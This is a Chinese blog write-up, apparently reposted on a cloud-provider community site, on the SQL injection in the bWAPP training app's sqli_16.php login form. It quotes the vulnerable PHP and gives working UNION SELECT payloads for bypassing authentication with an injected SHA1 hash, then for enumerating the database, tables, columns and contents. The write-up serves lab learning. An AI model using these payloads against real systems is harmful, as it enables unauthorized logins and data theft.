SQL注入之bWAPP之sqli_16.php

來源:互聯網
上載者:User

標籤:bWAPP之sqli_16.php   Login Form/User   SQL注入登入   

SQL Injection (Login Form/User),這個注入真的讓我崩潰,說好的單引號報錯後,相應的改SQL語句,然而並沒用,然後求助身邊的大牛,他說這個好像不一樣,曾經好像是一道CTF的題,和一般的SQL注入不一樣,但是一時想不起來怎麼秀的了,然後終於想了起來,接著帶著我一頓操作,終於明白是怎麼回事了。
這一切都要從代碼講起,先看代碼:

從第二行開始,$login參數接收傳入的login,$password接收傳入的password,sqli($password)這個是設定難度的,這裡沒有用,接著將password使用sha1方式hash,然後是SQL查詢語句,只查詢了login,接下來是第15行$recordset串連資料庫並使用$sql的查詢語句,在看if、else語句的else部分,第23行$row取出查詢結果的一組作為關聯陣列,這點很重要,還有下面一點,第25行的判斷句“if($row["login"] && $password == $row["password"])”,這裡要使$row["login"]為真而且$password == $row["password"]),這要怎麼弄呢,有方法,$row["login"]不是$login,而是查詢後存放在$row的login的值,同理第9行$passwrod和hash值只要等於$row["password"]),所以可以構造SQL語句了,這裡比較難受的問題是,你不知道欄位數和login和password對應的欄位的位置,所以我們需要黑白盒結合起來,開啟資料庫查詢欄位和位置,(代碼在最後附上):

可以看到password在第三個欄位處,我們讓password的值為“1”,線上MD5一下,找到sha1對應的hash值為“356a192b7913b04c54574d18c28d46e6395428ab”,開始構造查詢語句,輸入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,結果

再詳細說下原因:將“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”賦給login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset從資料庫中搜尋就有了傳回值,即$row["login"]返回不為空白,這裡第一個條件就構成了。後面POST的“&password=1”,1的hash的值被我們添加到聯集查詢語句裡了,這樣返回的顯示中就有1的hash值,即返回的查詢有1的hash值,如此$row["password"]的值就是我們傳入到password位置的1的hash值了,這樣$password的值就等於$row["password"],所以第25行的if判斷語句就為真了,是不是很有意思。
下面就是正常的SQL查詢了,我也跟著在來一遍。
1、查詢資料庫等資訊:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,結果

2、查詢表名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看見表名為“Blog”並且還有一個“wapp”資料庫,可以自己嘗試一下,結果

3、查詢欄位名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,結果

4、查詢欄位的內容:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。

部分代碼如下:

<?php    if(isset($_POST["form"]))    {        $login = $_POST["login"];        $login = sqli($login);        $password = $_POST["password"];        $password = sqli($password);        $password = hash("sha1", $password, false);        $sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";        // echo $sql;        $recordset = mysql_query($sql, $link);        if(!$recordset)        {            die("Error: " . mysql_error());        }        else        {            $row = mysql_fetch_array($recordset);            if($row["login"] && $password == $row["password"])            {                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) .    "</b></p>";                // $message = $row["login"];            }            else            {                $message = "<font color=\"red\">Invalid credentials!</font>";            }        }        mysql_close($link);    }    echo $message;?>

SQL注入之bWAPP之sqli_16.php

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.